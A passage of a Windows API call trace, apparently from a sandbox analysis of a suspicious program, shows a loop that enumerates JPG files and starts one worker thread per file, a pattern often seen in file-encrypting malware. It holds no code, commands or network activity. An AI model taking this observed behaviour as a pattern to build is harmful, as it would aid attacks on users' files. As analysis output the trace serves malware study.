	[0242.577] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0337280.JPG", cAlternateFileName="")) returned 1
	[0242.578] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f80
	[0242.579] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.580] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341328.JPG", cAlternateFileName="")) returned 1
	[0242.580] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f84
	[0242.582] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.582] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cdd, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341344.JPG", cAlternateFileName="")) returned 1
	[0242.588] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f88
	[0242.590] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.590] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c6d, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341439.JPG", cAlternateFileName="")) returned 1
	[0242.591] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8c
	[0242.628] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.629] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ad8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341447.JPG", cAlternateFileName="")) returned 1
	[0242.629] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f90
	[0242.630] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.631] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52c3, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341448.JPG", cAlternateFileName="")) returned 1
	[0242.631] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f94
	[0242.633] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.634] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7457, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341455.JPG", cAlternateFileName="")) returned 1
	[0242.634] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f98
	[0242.636] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.637] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa9e2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341475.JPG", cAlternateFileName="")) returned 1
	[0242.637] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f9c
	[0242.639] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.639] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee3, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341499.JPG", cAlternateFileName="")) returned 1
	[0242.639] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fa0
	[0242.642] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.643] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f8a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341534.JPG", cAlternateFileName="")) returned 1
	[0242.643] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fa4
	[0242.645] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.646] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a56, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341551.JPG", cAlternateFileName="")) returned 1
	[0242.646] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fa8
	[0242.647] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.648] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f43, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341554.JPG", cAlternateFileName="")) returned 1
	[0242.648] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fac
	[0242.650] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.650] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6aa8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341557.JPG", cAlternateFileName="")) returned 1
	[0242.650] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fb0
	[0242.690] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.691] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6873, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341559.JPG", cAlternateFileName="")) returned 1
	[0242.691] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fb4
	[0242.693] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.694] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa497, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341561.JPG", cAlternateFileName="")) returned 1
	[0242.694] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fb8
	[0242.696] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.696] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7b, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341634.JPG", cAlternateFileName="")) returned 1
	[0242.696] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fbc
	[0242.698] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.699] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3615, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341636.JPG", cAlternateFileName="")) returned 1
	[0242.699] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc0
	[0242.734] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.735] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341645.JPG", cAlternateFileName="")) returned 1
	[0242.735] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc4
	[0242.737] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.738] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3df7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341653.JPG", cAlternateFileName="")) returned 1
	[0242.738] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc8
	[0242.740] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.741] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d7f, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341654.JPG", cAlternateFileName="")) returned 1
	[0242.741] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fcc
	[0242.742] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.743] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ec6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341738.JPG", cAlternateFileName="")) returned 1
	[0242.743] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fd0
	[0242.746] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.747] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341742.JPG", cAlternateFileName="")) returned 1
	[0242.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fd4
	[0242.749] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.749] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10bdc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382836.JPG", cAlternateFileName="")) returned 1
	[0242.749] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fd8
	[0242.751] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.752] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ce5a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382925.JPG", cAlternateFileName="")) returned 1
	[0242.752] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fdc
	[0242.754] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.754] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1672c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382926.JPG", cAlternateFileName="")) returned 1
	[0242.755] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fe0
	[0242.757] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.758] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f86c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382927.JPG", cAlternateFileName="")) returned 1
	[0242.758] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f501b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fe4
	[0242.760] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.760] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b83a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382930.JPG", cAlternateFileName="")) returned 1
	[0242.760] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f505230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fe8
	[0242.763] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
